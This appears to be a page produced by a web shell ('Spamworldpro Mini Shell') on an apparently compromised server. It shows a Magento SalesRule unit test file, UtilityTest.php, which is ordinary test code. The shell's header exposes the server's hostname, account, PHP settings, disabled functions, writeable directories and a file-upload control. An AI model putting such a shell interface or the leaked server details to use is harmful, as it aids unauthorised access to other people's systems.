Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-sales-rule/Test/Unit/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-sales-rule/Test/Unit/Model/UtilityTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\SalesRule\Test\Unit\Model;

use Magento\Framework\DataObject;
use Magento\Framework\DataObjectFactory;
use Magento\Framework\Pricing\PriceCurrencyInterface;
use Magento\Quote\Model\Quote;
use Magento\Quote\Model\Quote\Address;
use Magento\Quote\Model\Quote\Item\AbstractItem;
use Magento\SalesRule\Model\Coupon;
use Magento\SalesRule\Model\CouponFactory;
use Magento\SalesRule\Model\ResourceModel\Coupon\Usage;
use Magento\SalesRule\Model\ResourceModel\Coupon\UsageFactory;
use Magento\SalesRule\Model\Rule;
use Magento\SalesRule\Model\Rule\Action\Discount\Data;
use Magento\SalesRule\Model\Rule\Customer;
use Magento\SalesRule\Model\Rule\CustomerFactory;
use Magento\SalesRule\Model\Utility;
use Magento\Store\Model\Store;
use PHPUnit\Framework\MockObject\MockObject;
use PHPUnit\Framework\TestCase;

/**
 * @SuppressWarnings(PHPMD.CouplingBetweenObjects)
 */
class UtilityTest extends TestCase
{
    /**
     * @var UsageFactory|MockObject
     */
    protected $usageFactory;

    /**
     * @var CouponFactory|MockObject
     */
    protected $couponFactory;

    /**
     * @var Coupon|MockObject
     */
    protected $coupon;

    /**
     * @var \Magento\Quote\Model\Quote|MockObject
     */
    protected $quote;

    /**
     * @var CustomerFactory|MockObject
     */
    protected $customerFactory;

    /**
     * @var Customer|MockObject
     */
    protected $customer;

    /**
     * @var Address|MockObject
     */
    protected $address;

    /**
     * @var Rule|MockObject
     */
    protected $rule;

    /**
     * @var DataObjectFactory|MockObject
     */
    protected $objectFactory;

    /**
     * @var AbstractItem|MockObject
     */
    protected $item;

    /**
     * @var Utility
     */
    protected $utility;

    /**
     * @var PriceCurrencyInterface|MockObject
     */
    protected $priceCurrency;

    /**
     * @inheritDoc
     */
    protected function setUp(): void
    {
        $this->usageFactory = $this->createPartialMock(
            UsageFactory::class,
            ['create']
        );
        $this->couponFactory = $this->createPartialMock(CouponFactory::class, ['create']);
        $this->objectFactory = $this->createPartialMock(DataObjectFactory::class, ['create']);
        $this->customerFactory = $this->createPartialMock(
            CustomerFactory::class,
            ['create']
        );
        $this->coupon = $this->createPartialMock(
            Coupon::class,
            [
                'load',
                'getId',
                'getUsageLimit',
                'getTimesUsed',
                'getUsagePerCustomer'
            ]
        );
        $this->quote = $this->createPartialMock(Quote::class, ['getStore']);
        $this->customer = $this->createPartialMock(
            Customer::class,
            ['loadByCustomerRule']
        );
        $this->rule = $this->getMockBuilder(Rule::class)
            ->addMethods(['getDiscountQty'])
            ->onlyMethods(
                [
                    'hasIsValidForAddress',
                    'getIsValidForAddress',
                    'setIsValidForAddress',
                    'validate',
                    'afterLoad'
                ]
            )
            ->disableOriginalConstructor()
            ->getMock();
        $this->address = $this->getMockBuilder(Address::class)
            ->addMethods(['setIsValidForAddress'])
            ->onlyMethods(['isObjectNew', 'getQuote', 'validate', 'afterLoad'])
            ->disableOriginalConstructor()
            ->getMock();
        $this->address->setQuote($this->quote);
        $this->item = $this->getMockBuilder(AbstractItem::class)
            ->addMethods(['getDiscountCalculationPrice', 'getBaseDiscountCalculationPrice'])
            ->onlyMethods(
                [
                    'getCalculationPrice',
                    'getBaseCalculationPrice',
                    'getQuote',
                    'getAddress',
                    'getOptionByCode',
                    'getTotalQty'
                ]
            )
            ->disableOriginalConstructor()
            ->getMockForAbstractClass();

        $this->priceCurrency = $this->getMockBuilder(PriceCurrencyInterface::class)
            ->getMock();
        $this->utility = new Utility(
            $this->usageFactory,
            $this->couponFactory,
            $this->customerFactory,
            $this->objectFactory,
            $this->priceCurrency
        );
    }

    /**
     * Check rule for specific address
     *
     * @return void
     */
    public function testCanProcessRuleValidAddress(): void
    {
        $this->rule->expects($this->once())
            ->method('hasIsValidForAddress')
            ->with($this->address)
            ->willReturn(true);
        $this->rule->expects($this->once())
            ->method('getIsValidForAddress')
            ->with($this->address)
            ->willReturn(true);
        $this->address->expects($this->once())
            ->method('isObjectNew')
            ->willReturn(false);
        $this->assertTrue($this->utility->canProcessRule($this->rule, $this->address));
    }

    /**
     * Check coupon entire usage limit
     *
     * @return void
     */
    public function testCanProcessRuleCouponUsageLimitFail(): void
    {
        $couponCode = 111;
        $couponId = 4;
        $quoteId = 4;
        $usageLimit = 1;
        $timesUsed = 2;
        $this->rule->setCouponType(Rule::COUPON_TYPE_SPECIFIC);
        $this->quote->setCouponCode($couponCode);
        $this->quote->setId($quoteId);
        $this->address->expects($this->once())
            ->method('getQuote')
            ->willReturn($this->quote);

        $this->coupon->expects($this->atLeastOnce())
            ->method('getUsageLimit')
            ->willReturn($usageLimit);
        $this->coupon->expects($this->once())
            ->method('getTimesUsed')
            ->willReturn($timesUsed);
        $this->coupon->expects($this->once())
            ->method('load')
            ->with($couponCode, 'code')->willReturnSelf();
        $this->couponFactory->expects($this->once())
            ->method('create')
            ->willReturn($this->coupon);
        $this->coupon->expects($this->once())
            ->method('getId')
            ->willReturn($couponId);
        $this->assertFalse($this->utility->canProcessRule($this->rule, $this->address));
    }

    /**
     * Check coupon per customer usage limit
     *
     * @return void
     */
    public function testCanProcessRuleCouponUsagePerCustomerFail(): void
    {
        $couponCode = 111;
        $couponId = 4;
        $quoteId = 4;
        $customerId = 1;
        $usageLimit = 1;
        $timesUsed = 2;

        $this->rule->setCouponType(Rule::COUPON_TYPE_SPECIFIC);
        $this->quote->setCouponCode($couponCode);
        $this->quote->setId($quoteId);
        $this->quote->setCustomerId($customerId);
        $this->address->expects($this->atLeastOnce())
            ->method('getQuote')
            ->willReturn($this->quote);

        $this->coupon->expects($this->atLeastOnce())
            ->method('getUsagePerCustomer')
            ->willReturn($usageLimit);
        $this->coupon->expects($this->once())
            ->method('load')
            ->with($couponCode, 'code')->willReturnSelf();
        $this->coupon->expects($this->atLeastOnce())
            ->method('getId')
            ->willReturn($couponId);
        $this->couponFactory->expects($this->once())
            ->method('create')
            ->willReturn($this->coupon);

        $couponUsage = new DataObject();
        $this->objectFactory->expects($this->once())
            ->method('create')
            ->willReturn($couponUsage);
        $couponUsageModel = $this->createMock(Usage::class);
        $couponUsage->setData(['coupon_id' => $couponId, 'times_used' => $timesUsed]);
        $this->usageFactory->expects($this->once())
            ->method('create')
            ->willReturn($couponUsageModel);
        $this->assertFalse($this->utility->canProcessRule($this->rule, $this->address));
    }

    /**
     * Check rule per customer usage limit
     *
     * @return void
     */
    public function testCanProcessRuleUsagePerCustomer(): void
    {
        $customerId = 1;
        $usageLimit = 1;
        $timesUsed = 2;
        $ruleId = 4;
        $this->rule->setId($ruleId);
        $this->rule->setUsesPerCustomer($usageLimit);
        $this->quote->setCustomerId($customerId);
        $this->address->expects($this->atLeastOnce())
            ->method('getQuote')
            ->willReturn($this->quote);
        $this->customer->setId($customerId);
        $this->customer->setTimesUsed($timesUsed);
        $this->customerFactory->expects($this->once())
            ->method('create')
            ->willReturn($this->customer);

        $this->assertFalse($this->utility->canProcessRule($this->rule, $this->address));
    }

    /**
     * Quote does not meet rule's conditions
     *
     * @return void
     */
    public function testCanProcessRuleInvalidConditions(): void
    {
        $this->rule->setCouponType(Rule::COUPON_TYPE_NO_COUPON);
        $this->assertFalse($this->utility->canProcessRule($this->rule, $this->address));
    }

    /**
     * Quote does not meet rule's conditions
     *
     * @return void
     */
    public function testCanProcessRule(): void
    {
        $this->rule->setCouponType(Rule::COUPON_TYPE_NO_COUPON);
        $this->rule->expects($this->once())
            ->method('validate')
            ->willReturn(true);
        $this->assertTrue($this->utility->canProcessRule($this->rule, $this->address));
    }

    /**
     * @return void
     */
    public function testGetItemPrice(): void
    {
        $price = $this->getItemPrice();
        $this->assertEquals($price, $this->utility->getItemPrice($this->item));
    }

    /**
     * @return void
     */
    public function testGetItemPriceNull(): void
    {
        $price = 4;

        $this->item->expects($this->once())
            ->method('getDiscountCalculationPrice')
            ->willReturn($price);
        $this->item->expects($this->once())
            ->method('getCalculationPrice')
            ->willReturn(null);
        $this->assertEquals($price, $this->utility->getItemPrice($this->item));
    }

    /**
     * @return void
     */
    public function testGetItemBasePrice(): void
    {
        $price = $this->getItemBasePrice();
        $this->assertEquals($price, $this->utility->getItemBasePrice($this->item));
    }

    /**
     * @return void
     */
    public function testGetBaseItemPriceCalculation(): void
    {
        $calcPrice = 5;
        $this->item->expects($this->once())
            ->method('getDiscountCalculationPrice')
            ->willReturn(null);
        $this->item->expects($this->any())
            ->method('getBaseCalculationPrice')
            ->willReturn($calcPrice);
        $this->assertEquals($calcPrice, $this->utility->getItemBasePrice($this->item));
    }

    /**
     * @return void
     */
    public function testGetItemQtyMin(): void
    {
        $qty = 7;
        $discountQty = 4;
        $this->item->expects($this->once())
            ->method('getTotalQty')
            ->willReturn($qty);
        $this->rule->expects($this->once())
            ->method('getDiscountQty')
            ->willReturn($discountQty);
        $this->assertEquals(min($discountQty, $qty), $this->utility->getItemQty($this->item, $this->rule));
    }

    /**
     * @return void
     */
    public function testGetItemQty(): void
    {
        $qty = 7;
        $this->item->expects($this->once())
            ->method('getTotalQty')
            ->willReturn($qty);
        $this->rule->expects($this->once())
            ->method('getDiscountQty')
            ->willReturn(null);
        $this->assertEquals($qty, $this->utility->getItemQty($this->item, $this->rule));
    }

    /**
     * @param mixed $a1
     * @param mixed $a2
     * @param bool $isSting
     * @param mixed $expected
     *
     * @return void
     * @dataProvider mergeIdsDataProvider
     */
    public function testMergeIds($a1, $a2, bool $isSting, $expected): void
    {
        $this->assertEquals($expected, $this->utility->mergeIds($a1, $a2, $isSting));
    }

    /**
     * @return array
     */
    public function mergeIdsDataProvider(): array
    {
        return [
            ['id1,id2', '', true, 'id1,id2'],
            ['id1,id2', '', false, ['id1', 'id2']],
            ['', 'id3,id4', false, ['id3', 'id4']],
            ['', 'id3,id4', true, 'id3,id4'],
            [['id1', 'id2'], ['id3', 'id4'], false, ['id1', 'id2', 'id3', 'id4']],
            [['id1', 'id2'], ['id3', 'id4'], true, 'id1,id2,id3,id4']
        ];
    }

    /**
     * @return void
     */
    public function testMinFix(): void
    {
        $qty = 13;
        $amount = 10;
        $baseAmount = 12;
        $fixedAmount = 20;
        $fixedBaseAmount = 24;
        $this->getItemPrice();
        $this->getItemBasePrice();
        $this->item->setDiscountAmount($amount);
        $this->item->setBaseDiscountAmount($baseAmount);
        $discountData = $this->createMock(Data::class);
        $discountData->expects($this->atLeastOnce())
            ->method('getAmount')
            ->willReturn($amount);
        $discountData->expects($this->atLeastOnce())
            ->method('getBaseAmount')
            ->willReturn($baseAmount);
        $discountData->expects($this->once())
            ->method('setAmount')
            ->with($fixedAmount);
        $discountData->expects($this->once())
            ->method('setBaseAmount')
            ->with($fixedBaseAmount);

        $this->assertNull($this->utility->minFix($discountData, $this->item, $qty));
    }

    /**
     * @return int
     */
    protected function getItemPrice(): int
    {
        $price = 4;
        $calcPrice = 5;

        $this->item->expects($this->atLeastOnce())
            ->method('getDiscountCalculationPrice')
            ->willReturn($price);
        $this->item->expects($this->once())
            ->method('getCalculationPrice')
            ->willReturn($calcPrice);
        return $price;
    }

    /**
     * @return int
     */
    protected function getItemBasePrice(): int
    {
        $price = 4;
        $calcPrice = 5;
        $this->item->expects($this->atLeastOnce())
            ->method('getDiscountCalculationPrice')
            ->willReturn($calcPrice);
        $this->item->expects($this->any())
            ->method('getBaseDiscountCalculationPrice')
            ->willReturn($price);
        return $price;
    }

    /**
     * @dataProvider deltaRoundingFixDataProvider
     * @param $discountAmount
     * @param $baseDiscountAmount
     * @param $percent
     * @param $rowTotal
     * @return void
     */
    public function testDeltaRoundignFix($discountAmount, $baseDiscountAmount, $percent, $rowTotal): void
    {
        $roundedDiscount = round($discountAmount, 2);
        $roundedBaseDiscount = round($baseDiscountAmount, 2);
        $delta = $discountAmount - $roundedDiscount;
        $baseDelta = $baseDiscountAmount - $roundedBaseDiscount;
        $secondRoundedDiscount = round($discountAmount + $delta);
        $secondRoundedBaseDiscount = round($baseDiscountAmount + $baseDelta);

        $this->item->expects($this->any())
            ->method('getQuote')
            ->willReturn($this->quote);

        $store = $this->createMock(Store::class);
        $this->priceCurrency->expects($this->any())
            ->method('round')
            ->willReturnMap(
                [
                    [$discountAmount, $roundedDiscount],
                    [$baseDiscountAmount, $roundedBaseDiscount],
                    [$discountAmount + $delta, $secondRoundedDiscount], //?
                    [$baseDiscountAmount + $baseDelta, $secondRoundedBaseDiscount] //?
                ]
            );

        $this->quote->expects($this->any())
            ->method('getStore')
            ->willReturn($store);

        $this->item->setDiscountPercent($percent);
        $this->item->setRowTotal($rowTotal);

        $discountData = $this->createMock(Data::class);

        $discountData->method('getAmount')
            ->willReturnOnConsecutiveCalls($discountAmount, $discountAmount);
        $discountData->method('setBaseAmount')
            ->withConsecutive([$roundedBaseDiscount], [$secondRoundedBaseDiscount]);
        $discountData->method('setAmount')
            ->withConsecutive([$roundedDiscount], [$secondRoundedDiscount]);
        $discountData->method('getBaseAmount')
            ->willReturnOnConsecutiveCalls($baseDiscountAmount, $baseDiscountAmount);

        $this->assertEquals($this->utility, $this->utility->deltaRoundingFix($discountData, $this->item));
    }

    public function deltaRoundingFixDataProvider()
    {
        return [
            ['discountAmount' => 10.003, 'baseDiscountAmount' => 12.465, 'percent' => 15, 'rowTotal' => 100],
            ['discountAmount' => 5.0015, 'baseDiscountAmount' => 6.2325, 'percent' => 7.5, 'rowTotal' => 100],
        ];
    }

    /**
     * @return void
     */
    public function testResetRoundingDeltas(): void
    {
        $this->assertNull($this->utility->resetRoundingDeltas());
    }
}

Spamworldpro Mini